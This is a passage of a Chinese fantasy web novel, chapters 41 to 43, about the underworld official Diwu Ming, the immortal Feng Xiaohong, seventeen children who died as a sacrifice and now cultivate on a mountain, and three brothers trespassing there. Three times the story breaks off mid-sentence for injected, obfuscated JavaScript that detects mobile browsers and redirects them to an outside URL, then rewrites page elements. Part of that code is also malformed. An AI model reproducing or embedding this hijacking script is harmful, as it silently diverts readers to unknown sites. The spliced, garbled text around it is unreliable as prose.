倏地,第五茗手握筷子,一整个拍在桌子上,惊讶道:“等我做了鬼差,你要给我备温食?” 对方点了点头,第五茗抓紧拍在桌子上的筷子,欣喜道:“仙君也要去过十殿试,应征鬼差?” 自知这意图有些不妥,她连忙改口道:“为什么啊?仙君历劫失败了?” 酆小洪摇摇头,浅浅地笑道:“上君误会了,我仙身回来了,我今日也只送你到鬼门关。” 拿了块糕点,第五茗尴尬道:“哈哈哈,我还以为你要跟我一起去做鬼差呢,我们也算相识了凡间阳寿二十载,我们去做黑白无常,你做黑无常,我做白无常,咱们两搭档,一定比楼上那埭骰埭桡两兄弟更有默契…指不定十殿试也能帮扶着一起过了,哈哈哈哈,可惜了,是我误会了,仙君仙身已归。” 脸上笑意消失,酆小洪一本正经道:“上君是在担心十殿试?” 第五茗话中的情绪和意思,他分辨出一二,歉疚道:“我竟不知上君想了如此多。上君…” 第五茗咽了一口糕点,道:“怎么了?” 酆小洪歉意道:“我暂时做不了无常。” 吃着东西,第五茗跳开视线,在面前的东西忙碌搜寻,局促地拿了一只冻梨,掩在嘴边,打趣道:“我知道的,哈哈哈哈…我方才是逗你玩呢,仙君这都看不出来吗?” 酆小洪踟蹰道:“我…” 第五茗疯狂给酆小洪面前的碟子夹满了东西,又咬了一口梨,才道:“挺好吃的,你尝尝…话说回来,我又没有忘记你是泰山上的仙君,我也不傻,怎么会拉仙君降职呢,仙君不用纠结…” 说完,把腰间的佩印解了下来,放在桌上,她转移话题道:“仙君这宝贝炼得当真不错,竟能护小鬼魂魄,据我所知,目前仙君们的法器,也就东岳帝君的通阳太明之印有这作用。仙君淬炼这宝贝时,是不是求了帝君拓印了神力进去?” 目光从佩印上挪了开来,不小心探视了一圈周围的仙君们,第五茗这才发现,众人目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547219|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炯炯,他们居然都看向了这方。 当然,除了那胡吃海喝,只顾盯着桌上食物的五斗星君们。 其余九仙,明目张胆,肆无忌惮,眼中神色不明,纷纷来回在她和酆小洪之间。 第五茗扶额侧头,完全没有刚才对阵风有情的气势,眼神闪躲,抠头挠丝,前倾身子靠近酆小洪,小声道:“东斗星君遠州茶,西斗星君玉子叶,北斗星君沈青群,南斗星君柳染,中斗星君鸠羽,主冥、记名、落死、上升、大魁的五位星君我都认识,死的人多了,死的人太重要了,这五人都会出现,以前我在地下经常见他们,不过…其他人是谁啊?难道他们就是雨无伤说的新晋小仙?仙君认识吗?” 酆小洪道:“他们是…” 语毕,第五茗从指间缝隙再度偷看了一眼,那群仙君居然还赤裸裸,堂堂皇皇的,不约而同,一直视线未移地打量他们,连带着胡吃海喝的五斗星君们,也因他们的缘故,频频朝这边望来。 心头瘆得慌,第五茗预感有什么不好的事要发生,没等酆小洪回答,又幽幽地道:“我瞧着…这群仙君好像对我有些不怀好意呢?是我的错觉?我怎么觉得他们对我有些说不清、道不明的意图?” 酆小洪朝四周看了一眼,那些仙君明显地闪躲了两分,可当酆小洪回过头后,他们便又无所顾忌。 酆小洪叹了一口气,道:“他们的确是在看上君…” 第五茗惊慌猜测道:“风有情领他们来的,该不会是和风有情一伙的吧?” “刚刚我仗着言念之力,是不是太放肆了些?” “毕竟风有情在雷部是负责司罚神明,我是不是太没给他留面子了?” “要是他们打过来了,仙君你给我的这东西能保我性命吗?” 长叹一口气,她道:“我都下来一万多年了,没想到还会莫名其妙惹到上面的仙…我以后一定行事低调,就算是风有情,我以后也不招惹了。他们若是真杀过来,待会儿仙君可要看在这二十年的情分,救一救我啊,或者你把佩印收回去,保我一命当做还愿可好?” 她嘴不停歇,完全不给酆小洪插话的余地,好不容易停了下来,酆小洪刚跟着叹了一口气,道:“上君放心,他们不会…” 第五茗抵额的手松开,拍上脑门,暗自叫道:不好!!这熟悉的感觉…很不好!!! 他们看起来和风有情也不像是一伙儿的。 那边五位五斗星君叫来送完风有情的小一,表示已经吃饱喝足,要上楼休息,小一安排了小二等人引送,堂内空了一小半人,那边溪亖音就坐不住了,趁机站了起来,整理衣襟,目光始终注意着第五茗的一举一动,焦躁不定。 这可把第五茗吓得不轻,溪亖音毫无心机的焦虑样,她可太熟悉了。 她朝酆小洪慌张低语道:“仙君,我用好了,我先上楼…休息一会儿。” 刚转身,手一把被酆小洪拉住,她忍不住锁眉、歪头,嘴角抽搐道:“仙君有事?” 酆小洪默不作语,静静地拉扯着,他另一手拿起桌上第五茗遗留的佩印,道:“上君再等等,有东西给你。” 第五茗用另一只手去拿佩印,酆小洪松了拿东西的手,把佩印还给了第五茗,握在第五茗手腕上的手却依旧没有松。 她心中一颤,有了计量:这仙君难道知道点什么? 她焦急地转了转手腕,纵使她力道很大,此刻,却是抵不过一个对她用法的仙君。 她并没有挣脱开,疑惑不解道:“仙君这是做什么?东西我收好了。” 眼见溪亖音和南泥走了过来,酆小洪抿唇道:“上君等等吧,他们好像有事找你。” 对方脚步生风,酆小洪牵制了她的手,第五茗心中明火闪过,再一次仔细打量起身边这位做了二十年痴儿的仙君,一身青衣,金冠束发,除了脸和身材看着不像一个英气十足的人,挺直的背,不低眉垂眼的脸色,无一不在告诉她此人可能是谁。 而堂内,那九名容貌崭新,神情隐忍的仙君,她心中也大概有了数。 可真是一群不听话的小鬼啊… 倒也算不负她一片苦心,还能以神明之身,在地府再次相见。 他们忘了,可第五茗没忘,小鬼们与她有一死劫,不见不识不会生。 酆小洪锁了她的手,这一次,她帮他们避不了。 第五茗手中挣扎不过,长叹一口气,松了劲儿,妥协地坐了回来。 抬起酆小洪握住的那只手,她淡淡道:“仙君,松手吧,我不逃。” 松开手,酆小洪语速迟缓道:“上君,你知道他们是谁?” 第五茗转动刚解放的手腕,斩钉截铁,打断他道:“我不知道。” 酆小洪弱声道:“是吗?” 第五茗视线与酆小洪对撞,忽而莫名坚定… “当然,我都说了…” 42. 三莽汉上山下山1 “我不知道。” 第五茗的声音,回荡不绝。 三宫九府外,雷霆已停,厚云仍在,天兵天将列阵在上面。 先前的那番雷击,把仙府结界外的景色全破坏掉了,千年银杏拦腰横断,迎客松针叶掉满一地,茶花折,兰草枯,山石碎… 清风萧瑟,所见之地,惨不忍睹。 而这当中,赫然立了四人。 两穿戴甲胄的天兵站于山道口放哨,一手持雷霆长枪的将军,高高地站立,俯视地上一身破败的青衣女子。 不远处,仙府洞穴的结界入口,一圈藤蔓正慢慢缠绕,郁郁葱葱,一层又一层,直至入口处的十七个身影完全藏匿。 将军抬手,雷电闪过,他收了手中的长枪,蹲在女子面前,伸出一指,摁在女子额间若隐若现的青绿‘屮’纹上。由他手指慢慢流出的金光,那青绿‘屮’纹终于闪烁了几瞬,便稳稳停在了女子的额间,但纹痕却浅浅的,好似一抹就会掉。 “第五茗,你可想好了?你当真准备如此答复天帝?” “嗯…” “第五茗啊,该说你什么好…或许是东华帝君把你唤醒得太早了吧,所以你才会如此愚不可及。” “不知道,或许吧…” 将军起身向不远处两名天兵,唤道:“十七只浮屠恶鬼已毙命于本君雷枪之下,速带司命府司命真君第五茗,随本君回天复命。” 两天兵抱拳,应答道:“是。” 山间清风再度拂过,除了那片破败的景象和洞口繁茂的藤蔓,此地,再没留下一点其他东西。 洞内十七个泪人,一人率先抹掉脸上的水痕,对其他人道:“哭够了,就收拾收拾,去好好修炼。” 余下十六人还沉寂在伤痛中,悲恸万分,一如最初十七人置于祭城中时,他们十六人除了哭,什么也做不了。 那少年朝仙府内走了几步,停顿道:“我们十七人,势要一起飞升做仙!” 话音不大,重量却非常。 门口的十六人中,双髻双辫的小丫头,一边哭,一边跌跌撞撞跑到那少年跟前,一把抱住少年的腰身,脸埋在少年怀中,抽噎道:“小晎哥哥…我听你的,听你的,我一定要飞仙…我要去找姐姐…小音不怕吃苦,呜呜呜…我们不是恶鬼,我们从来都没有害过人…也没有做过坏事,姐姐没有错…我们可以去找姐姐的对吗?” 隗晎把溪亖音从怀里拉了出来,双手擦掉了她脸上的泪水,肯定道:“自然,我会一个不少的,带你们去见真君。” 余下十五人中,年龄最小的少年,抽泣道:“可是…可是,真君让我们不要去找她…说会有命劫,会…会死。” 隗晎面色清冷,道:“路了绿,你难道是怕死了吗?” 路了绿摇摇头,脸上只有分别的伤心,道:“不怕…” 若说死,他们十七人早在一万多年前就死过一回了。 以城池做祭台,城墙外站满了能力高强的仙、妖、人,而城墙内空荡荡的,只关了十七个拼命逃跑的小孩。 小孩一人手上锁了一只血香,那香浸染了他们的血,浑身通红,点燃后,血迹消失,只有香头上的点点金光,和他们身上莫名其妙开始燃烧而出的光。 在黑云压城之际,他们成了城内最亮的靶子。 他们十七个小孩,一边跑,身上跟着一块一块地掉,掉下的东西,被四面八方冲击下来的黑云吃掉。 伴随阵阵咀嚼声… 不少黑云吞咽后,还发出满足的呻吟。 他们眼睁睁看着自己身上掉下来的‘东西’,由黑云一点一点蚕食殆尽,然后冲进来的黑云,又继续追撵他们十七人,直到他们跑不掉,直到他们没了四肢,直到他们没了… 那种濒死,却迟迟不会死的恐惧,没有人会比他们十七个更清楚。 所以… 他们十七人,如今最不怕的,便是死。 溪亖音仰起脸蛋,也摇头道:“小晎哥哥,小音不怕,小音害怕再也见不到姐姐,小音现在就想去…找姐姐。” 隗晎安抚怀中的溪亖音,冷静道:“真君的话也得听。” 洞口的十五人中,弯眼冷面的少年,诘问道:“那我们修炼飞仙,意义何在?” 隗晎道:“让那群仙瞧瞧,他们写与我们的恶鬼命,我们不认,还有…他们当认错,真君无罪。” 那厢十五人中,娇面如花的少女止住哭泣,淡淡道:“隗晎,不是我打击大家,真君此番回去,你觉得她还能活?” 隗晎背对众人,一手揽住溪亖音,一手从怀里拿出一本簿子,紧紧拽住,咬牙道:“有命数,便有命,永生不灭。我握有真君的命数,不管真君去了哪,我终有一日,必会找到她。” - 五千年后,三宫九府中,飞升之景再显,然而不过一盏茶,便荡然无存。 这种奇怪的飞升之兆,已经反反复复出现了七八次。 每一次,都在即将通报天界,引来雷霆时,福相便按压了下去。 三宫九府内的修炼之士,以及矮山上观内的道长们,都见怪不怪,各自眼角余光捕捉山中变化,手里却继续忙着各种凡尘俗事。 倒是辛苦观内道长,福相突显,需要对那些三三两两,结伴来参拜的信众解释解释: “不必慌张,不是异象。” “非祥瑞…非祥瑞,潜心叩拜观内神像,倒是可祈福避灾。” “哪有什么仙人,这不过是几百年一次的山中景象…” “门庭如此萧条,怎会有仙人…信士所求,贫道办不到啊,贫道真请不出来仙人。” “胡言乱语,山里若是有宝贝,这道观何至于此!” 信众参拜了,遇见非凡景象,却没得到三瓜两枣,嘴里骂骂咧咧的,便三五一群地结伴下了山。 只是,不知为何,坊间开始对这越来越萧条的山中异像,传起了谣言。 又是七八百年… 那谣言未绝,但山顶道观却荒废了。 本来还有修炼之士上山修行,但因为山内实在过于荒凉,连吃饭落脚的道观都没了,渐渐的,也就没了人。 又是七八百年… 有朋自远方来… 等等!! 不是有朋… 是有不速之客,自远方而来。 那是三位壮汉,他们慕名这传了上千年的谣言,准备了三个大大的行囊,一同来了三宫九府所在的山头。 三人绕着山脚走了数日,愣是没找到入山的山道,正准备放弃,却突然见灌木丛中滚出来六名少男少女。 他们个个唇红齿白,面色红润,穿着颜色各异的道袍,头上系着和衣服相同颜色的头巾,有些高有些矮,头顶发髻有的还插了一支木簪,仔细瞧瞧,他们怀里还分别抱着一样东西。 居然是锅、碗、瓢、盆、纸轴和扫帚!! 他们刚刚滚落而出,杂草丛生的灌木,并没有在他们身上留下什么痕迹,衣襟上连一根草一粒尘都未沾染。 着实怪异啊… 三位壮汉,定睛朝六人那方看去。 有胡子的壮汉,大喊道:“鬼啊!好多鬼啊…怎么男的女的都有…” 脸上有刀疤的壮汉,柔柔道:“鬼又不分男女,再说了他们也不像是鬼,你瞧他们脚下不是还有影子吗…长得倒是斯斯文文的,看着更像是郡城里十指不沾阳春水的少爷小姐,为何都穿着道袍?难道这山上还有道观?” 瞎了一只眼睛的壮汉,粗声粗气道:“他们从山上来,定然知道怎么上山!!捉一个过来问问不就知道了。” 说完,三人便朝六位小道童的方向走去… 可走着走着,六人身影却在他们三人眨眼间,给看丢了。 三人越过灌木丛,脚下不约而同,踩在了一条山道上。 有胡子的壮汉,惊恐道:“鬼啊!这么多鬼一起没了…他们一定都是鬼啊…” 脸上有刀疤的壮汉,趴在地上听了一阵,才起身,安慰乱了阵脚的胡子壮汉,细语地道:“路上有脚步声,不是鬼,小庄你别紧张。估计是那六人已经上山了。” 原来,他们三人是异父异母的兄弟。 因一个馒头,且都姓庄,结拜为了至亲。 有胡子,长相粗鲁的叫小庄,脸上有刀疤,说话文文弱弱的叫二庄,而孔武有力,还瞎了一只眼的壮汉,则是他们两的大哥,叫大庄。 山道弯弯曲曲,陡峭坎坷,大庄喉咙像是堵住了,他咳嗽两声,吐出一口浓痰,吩咐道:“他们六个一定是这山上的道人,跟紧一点,我们也上山。” 三人背着三个大包袱,还没爬上百里,便又看见了那六位颜色各异的小道人。 他们双脚并拢,双手各自抱着锅碗瓢盆、纸轴和扫帚,向上蹦行。 举止实在怪异… 但若将此行为想做是修行,便会觉得正常许多了。 因蹦跳上山的姿势,比走路,可要累上不知多少倍。 六位小道童速度不慢,呼吸也还算匀称。 静谧的山间,听不见六位小道童大口喘气,只有“咚咚咚”,匀称的蹦跶声。 二庄感叹道:“这六个小道士,体力真好。” 小庄依旧很害怕,握紧包袱带子,瑟瑟发抖道:“我怎么瞧…他们也不像是正常人,大庄、二庄,你们说…这些小道士会不会真是鬼啊。” 大庄吐了一口唾沫,道:“他妈的,来都来了,是鬼也得给老子上啊!!” 又行了几里路,山间回荡起一连串‘桀桀桀’笑声,接着三人便听见一女子讲话。 那女子点数道:“齐同舟,山情,水意,家厚,安在心,净枕…” 前方蹦跳而行的小道人,身形一顿,脚下更加用劲儿,跳的步子也更加远了。 那女子声音悠悠传开,继续道:“走到哪儿呢?时间可是快要到了…” 惊鸟四起,林叶纷落,整个山脉都尽数回荡着女子的声音,空灵又幽静,偶尔还伴随着令人毛骨悚然的笑声。 山道上,六位小道人在女子声音响起后,蹦跳行路的动作是一次比一次大,速度也越来越快,连带从他们身上,渐渐地传出粗重的喘息。 他们开始累了… 可就好像见了鬼一样,他们蹦跶的速度丝毫不减,反而越来越迅猛。 二庄怕跟丢几人,断了脚下并不明显的山道,对右手旁的两人,道:“我们也得行快一些,不然走得深了,没人引路,定是要迷在这荒山野岭里。” 小庄点头附和,道:“嗯嗯嗯,走走…二庄你说的对,跟紧一点,指不定还能早些找到道观休息。你看他们现在跑这么快,说不准是因为这女鬼…我们也当心些,别被女鬼盯上了。” 桀桀桀~ 女子笑声一阵,大壮忍不住把口里的唾沫咽进了嘴里,低骂道:“见鬼了!!老子东西都还没见到,晦气倒是遇见不少。” 三人吭哧吭哧地,也大步大步地在山道上狂奔。 行得久了,爬得高了,三人也越来越累,不经意间,完全忘记了是在悄然跟踪前方六人。 突然,先前点名的那女子声音,又响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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溪亖音根本没理他。 三人挂在空中,溪亖音看了两眼,见人不能到处乱跑,转身面向身后六人,嗔怪道:“你们后面跟了人上来,都没有发现吗?若是小晎哥哥他们知道了,你们六人又得加练。” 红衣道袍,怀抱大锅的齐同舟,嬉皮笑脸,一副小无赖模样,道:“只要小音不说,我们六人不说,隗晎和怀晓就不会知道,我们自然也不会加练。” 他朝左右前后五人暗示了一番,其他五人也纷纷附和道:“小音,行行好…”“我们每日淬炼筋骨,很累的。”“小音,最好了。” 溪亖音摇头,坚决道:“不行!小晎哥哥说了,你们六人必须尽快修出新的容貌。” 她侧身,伸出一手,指向空中三人,表情严肃道:“今日,你们还把外人放入结界内,他们跟了这么久,你们却不知,可见心境一点没有进展!” 藏衣道袍,肩抗扫帚的安在心,唉声叹气后,女子尖锐的嗓音,都变得有几分暗沉,道:“我们六人就没那命,年龄最小的珪珖和路了绿都快成了,只有我们六人拉后腿,要不算了吧,你和他们一起上去就好了,不用管我们了。” 听了这话,安在心身旁五人皆是一愣,眉头紧锁,不敢言语。 溪亖音则怒气顿生,忘了山道下方的三人,捏诀瞬至六人面前,道:“不行!说好了一起的,而且小晎哥哥和怀晓哥哥从来没说过这种话,你们居然自己在心里存这种心思。” 齐同舟也嘀咕道:“我们本来就不行,和你们不一样,我们飞不了仙…” 溪亖音眼含泪水,黯然神伤,情绪上头地哽咽道:“你们难道不想姐姐吗?” 白衣道袍,手拿纸轴的净枕,从轴上扯出一节软纸,帮溪亖音摸了眼泪。 他身量未长成一个大男子,声音却又粗又厚,道:“不是不想,是我们知道…我们不行,不想耽误大家飞升。” 哇的一声,溪亖音彻底哭了出来,梨花带雨,道:“不行不行,小晎哥哥说了,你们能练到肉身不灭,已经是在飞仙的路上了,怀晓哥哥也说了,你们只是时间问题,只要你们再努力一点…再努力一点点,你们…你们自己不可以这样想,不可以!!” 齐同舟安慰道:“小音,你别哭,我们不想…不想,你别哭。” 其他几人也七嘴八舌道:“是我们说错话了…”“他们三人进山,是我们不仔细,我们的错。”“对对对…我们加练还不成吗?别哭了,小音…” 越是劝,溪亖音反而觉得越伤心,声音越来越大,情绪也不稳定,连带悬挂山道下方,那锁住庄氏兄弟三人的法术,也波动不堪。 三人在半空中,晃荡不停,小庄哭诉道:“大庄、二庄,我怎么感觉我们要掉下去了?你们说…这么高,我们会不会摔死啊。” 大庄四肢向外勾薅,却足足踹在虚空,把把只能抓住小庄和二庄。 他咒骂道:“他娘的…真邪门。” 还数二庄最冷静,他身上没有轻举妄动,口中朝山道上方大喊道:“姑娘…姑娘…请你先把我们放下来!姑娘!!” 而山道上七人,哪还有闲心看顾他们…溪亖音的啜泣,才是如今最大的麻烦。 “啊!!” “救命!姑…娘…啊!松了!!” “啊!救命!!啊…” 山间并没有如期等来三人坠落的响动。 千钧一发之际,一身蓝白道袍飞身而至。 43. 三莽汉上山下山2 三道残影掠过,他把庄氏兄弟放在了山石上。 他们三人浑身发软,嘴里哆嗦感恩道:“多谢…”“谢…谢…”“…” 来人歉意道:“是小音胡闹,三位壮士身上可有不适?” 二庄摆手,大喘道:“没事…多谢道长…” 劫后余生,让他完全忽略了来人话中意思,也疏忽了来的这人,其实和山道上方那七人是一伙儿的。 二庄九死一生,只顾得连连感恩道谢,那蓝白道人温柔提醒道:“三位身体若是缓过来了,可起身盘坐,地上多虫蚁,当心从衣口钻入。” 二庄再次感恩道:“道长真是心善啊…荒山野岭,幸亏得你搭救,你还如此心细入微。” 三人慢慢回神,缓缓的…按照来人的话,手撑地面坐了起来。 这时,他们才看清,面前人的大致模样。 此人身材俊朗,脸颊刚毅,看起来有二十五六岁,个头极高,剑眉星目,身上干干净净不染尘埃,道袍工工整整地穿在身上。 若不是那一身蓝白道袍,光模样瞧着,他倒是更像是山下的官吏人。 他左耳,还与之整体不协调地带着三个耳饰,耳骨上面,有两个晶莹剔透,散发冷光,银丝缠白玉的小耳圈,下方耳上软肉,挂着一根银钩,钩头末端锁了一颗白玉珠子,和一节月光石做的长坠子。 异类神秘,清冷寡淡,三个耳饰给他和煦儒雅的身上,添了几分魅惑感。 山道上方,前前后后,大小不一,响起惊呼,道:“怀晓?”“怀晓怎么来…”“小音,你快擦擦眼泪。”“唉…死定了。”“加练跑不了了。” 闻言,溪亖音用袖子抹掉脸上泪水,回身查看动静。 下方身姿卓然的怀晓,已手掐小诀,欺身至七人面前。他目光紧紧看着矮他两头的溪亖音,大手捧起她的脸蛋,替她把刚落下的一滴眼泪抹了,温声道:“小音怎么哭了?他们欺负你了?” 溪亖音摇头,眼睛一眨,眼泪又滚了几滴下来,嘶哑道:“没…没有…” 怀晓拇指轻轻擦过溪亖音脸蛋,另一只手从怀里掏出一方白巾,放进溪亖音手里,对余下六人问道:“你们做什么了?” 语气和和气气,按理说不当有人害怕,但此时,六人却不约而同,浑身打了一个寒战。 因为他们知道,溪亖音受委屈,怀晓知道了,就等于隗晎知晓了,而隗晎又因第五茗最喜爱撒娇的溪亖音,不管是在地下做鬼时,还是后来逃出来,在地上做人,隗晎都格外百般护着溪亖音,在三宫九府这些日子,更是和怀晓一起,把溪亖音捧到了心尖儿上。 谁惹哭了溪亖音,都没好果子吃… 隗晎会为欺负溪亖音的人加练,帮其淬炼筋骨…记得上一个有这荣幸的,还是那南泥。他闲不住,竟带了溪亖音去掏鸟窝,结果害得溪亖音摔断了手,隗晎便陪其加练,结果可想而知… 那南泥整整三个月都没下了床。 加之溪亖音又是一个小哭包,稍微有点什么事,鼻头一耸,眼睛一眨,眼泪就啪嗒啪嗒地掉…这就是为什么,今日怀晓有事,他会派溪亖音来督促几人修炼了… 因为没人敢招惹溪亖音。 也没人想去引起怀晓和隗晎的注意力。 想想都后怕,安在心吞咽道:“我们真没做什么…就是…就是不小心把他们三人放进来了,小音担心我们…” 怀晓一针见血道:“你们六人这段时间,心境还是没有进展?” 六人闷声片刻,齐同舟打头,叹气道:“我们几人资质不行…” 怀晓道:“嗯,我知道了,那明日开始加两轮苦修。” “啊?” “啊!” “什么…” “…” … 六人脸上满是痛苦…却都不敢直言拒绝。 怀晓喃喃道:“若是隗晎在,就不止加两轮,可能还会…” 他们十七人是第五茗拿命换来的,隗晎不会丢下任何人。 这些年,隗晎为了其余十六人能好好修行,四处奔波,采仙草,练仙丹,寻山间灵气最佳的地方,再拱手让给其他人修炼,所作所为,谁都不敢辜负他那一片赤诚之心。 隗晎也不会给他们说“不”的机会… 净枕抱紧手中纸轴,打断怀晓的话,道:“知道了,加两轮就两轮,但你不许把今日三人入山之事告诉隗晎。” 怀晓同意道:“可以。” 又低下头,他捏了捏溪亖音红润的脸颊,道:“还担心吗?” 溪亖音摇头,用怀晓给的方巾擦脸,一片轻松道:“不担心了。” 怀晓笑道:“别太用劲儿,隗晎去蓬莱岛,今日差不多该回来了,你这样哭,他瞧见了,该心疼的。” 溪亖音把方巾收进挎包里,肯定道:“嗯,我不会让小晎哥哥发现我哭过的。” 齐同舟指着山道下方的三人,道:“他们怎么办?” 怀晓道:“你们继续上山,先完成今日任务。” 六人齐齐应道:“是。” 又如先前一般,蹦跳前行,只是因方才溪亖音闹的那一通,让他们少了先前的散漫。 六人倏地身姿轻盈,一步跳出数丈。六人之间也渐渐有了差距,一蹦跳的距离,竟是有前有后,他们的呼吸也不像先前那般随意,而是寻常人分辨不出的吐纳。 庄氏兄弟三人,眼睁睁看着六位小道人,两三蹦以后,跳出了他们眼前的山道。 三人目瞪口呆,怔愣出神,连怀晓和溪亖音站在了他们面前,皆丝毫没有发现。 怀晓半蹲了下来,与坐在大石上的三人同处一个水平线,道:“三位壮士,缘何会上山呢?” 噗~大石上尘烟乍起… “咳咳咳…” 溪亖音脚一撑,跳坐在大石上,激起了不少烟尘,她双手挥动,想把怀晓面前的灰尘拂走,可却越扫越大,不免小声吐槽道:“山上人少了,灰尘都厚了些…” 怀晓指尖轻弹,尘埃簌簌掉了下去,。他静静打量起面前同样在一边咳嗽,一边拂扫烟尘的三人。 大石上,溪亖音双腿挪动,靠近三人,用肩挤了挤,重复问话,道:“怀晓哥哥问你们,做什么要上山来?” 小庄瑟瑟缩缩道:“你们…是人还是鬼?不对!不对…你们是仙还是鬼啊?” 溪亖音扮鬼脸,吓唬道:“重要吗?我长这样好看,是人是鬼是仙,很重要吗?” 她不答小庄的话,小庄也不回她的问。 大石上的角落边,大庄还在那里不停咒骂道:“他娘的,晦气…晦气…” 唯有三兄弟中的二庄,拉扯道:“姑娘,你别误会,小弟胆子小,所以才这么问的。” 怀晓很有耐心,又问了一遍,道:“你们为何会上山,可知这山中十分危险。” 二庄答道:“我们听闻这里原先是难得的洞天福地,神庙里的仙君极其灵验,我们兄弟三人便思虑了,上山来烧香…拜一拜这山里的神明。” 怀晓复念道:“上山烧香?” 二庄道:“是的。” 溪亖音幽幽地道:“这山里几百年没人来烧过香了…早绝了香火,断了神明联系。你们几人看着也不像是来烧香祈福的,连这山头神明庙宇搬迁了都不知道吗?” 怀晓审视三人,提点道:“山中早无神明,你们来错地方了,我送你们下山。” 大庄在旁啐道:“老子好不容易上了山…你让下山就下山,你谁啊!” 语气粗犷,一点礼节都没有。 溪亖音秀眉微拧,跳下大石,准备怒怼回去,手腕却被怀晓拉住。 她勉强住了口,怀晓也站了起来,没了先前的善意和耐心,道:“山内的确无神灵了…诸位下山吧。” 二庄看出两人的不悦,拱手一礼,解释道:“我大哥是村中粗人,你们二位别介意,他没有坏心思的。 怀晓点头还礼。 顿了,二庄也站了起来,姿态谦和,他拍打整理身上枯枝杂草后,继续道:“方才见二位会一些法术咒诀,想来应该是这山中修行的人,还有先前的六位小道人,应该也同二位一样,是山中人吧。我们兄弟三人真无别的心思…道长说山中无神明,可我们来都来了,还爬了这么高的山,未见神明前,在路上,我们心中便早已自成一像,只需寻山中清明灵气之地,对天叩拜,焚烧几柱,也算是不枉此行,算是上山烧香了。” 大庄和小庄跟着站了起来,他们没有二庄细致,任由衣襟紊乱。他们两人,神情忧愁,紧贴二庄身后,等待怀晓和溪亖音的反应。 溪亖音直接拒绝道:“不行!地势险峻,稍不注意,你们就会丧命在山里。” 小庄抱紧大庄手臂,支支吾吾反驳道:“你一个柔柔弱弱的小姑娘都能来,为什么我们就不能,再说了…这…这山头难道是你们家的?” 溪亖音的表情瞬间出现了一片空白,他们在这里生活了这么久,早把这里当做自己家了,可真论起来,这几座山脉都是三官大帝他老人家的地盘,他们和上山人一样,不过是暂居别人地盘。 因这最近几百年,山上人烟渐稀,隗晎在山脚布置的结界没有多少人能找到入口,所以…时间一长,溪亖音还真把这地儿当自己家的了。 突然有人问出这话,让她一时不知如何作答,错愕道:“我…这山…山…自然…是…” 怀晓气定神闲道:“当然不是。” 大庄口中淤痰涌出,他朝草堆里吐了一口,轻松道:“你们能上山修行,那我上山烧香有什么不行的,你们作何管我们?难道又想把老子挂起来?” 大庄说完,还恶狠狠剜了溪亖音一眼。 那眼中精光一闪,有些非人的东西,直奔溪亖音而去。 幸好,怀晓眼明手快,将溪亖音拉至身后,遮挡了大庄突然投射来的凡人之“力”。 凡人之‘力’? 凡人也有‘力’? ‘力’是何物? 为何有法力傍身的人会畏惧? 简单说来,‘力’也算是种法咒,由意所起,由心而发,由量而至。 人活在世,本身就是一种修行,会获得强而不可破的力量,而那种力量就称为‘人力’。但活人一般看不见‘力’,常常在无形中,就通过一些行为,一些言语,将‘力’使了出去,而他们本身却不自知。 拿最常见的念力来讲,那就是一个人对一件事不停地在口中、脑中、心中,反复地去念述记忆它,念力便会持续累积,直至到一定量,就会泄力而发,让「事」成真。 举一个例子:有一妇人出门劳作,因为晨起时看见了自家豢养的小犬当众拉屎,妇人恶心直至,嘴里便一直咒念‘屎真恶心,万莫染及’。 行至山间小路,妇人一路念,一路规避路上的畜生;午间上集市,因上午的执念,不敢踏入有活禽的地域;晚间回家也小心翼翼,连茅房也不敢去… 这一日眼看就要过去了,而一日的念力累积,让妇人夜间烦躁,难以入睡,在她正要快忘了白日里处处提防的小犬‘屎’,昏昏欲睡时,一日未排泄的她,终于憋不住,担心会在梦中拉解至床中,半睡半醒间,决定起身去小解…妇人却因头脑发胀,神志不清,跌入了粪坑,浑身沾‘屎’。 当然,对于妇人来说,这只是她遇见的一件倒霉事,可修行之人才知道,这不是什么所谓的倒霉事,而是妇人一天造下的‘念力’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547221|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所致。 身为凡人,愚身、愚心、愚知,往往就会像妇人一般,因为某一个小小的心思,导致‘人力’乱用。 方才,那大庄看着溪亖音,恶念陡升,心中下咒,通过眼神将‘咒力’投射向溪亖音,得亏怀晓挡了下来,否则溪亖音修行恐会有损。 怀晓看出这三人对上山一事的执着,不再相劝,护住溪亖音,道:“三位心中有神像,上山又只是为烧香拜山主,那就请自便吧。不过还是得再提醒诸位一番,山中危险,下山路也不好走,出山口更不好寻,若是三位执意要继续上山,出了事…后果自负。” 怀晓不再为难,二庄眼见地喜悦起来,他躬身一礼道:“自然,也多谢道长言语。” 怀晓带着溪亖音手起捏诀,飞身而去。 见状,大庄问道:“接下来怎么走?山上没有路,那群人又都走了…” 二庄抬手一指,正是六名小道人蹦跳消失的地方,道:“沿这个方向先走走看。” 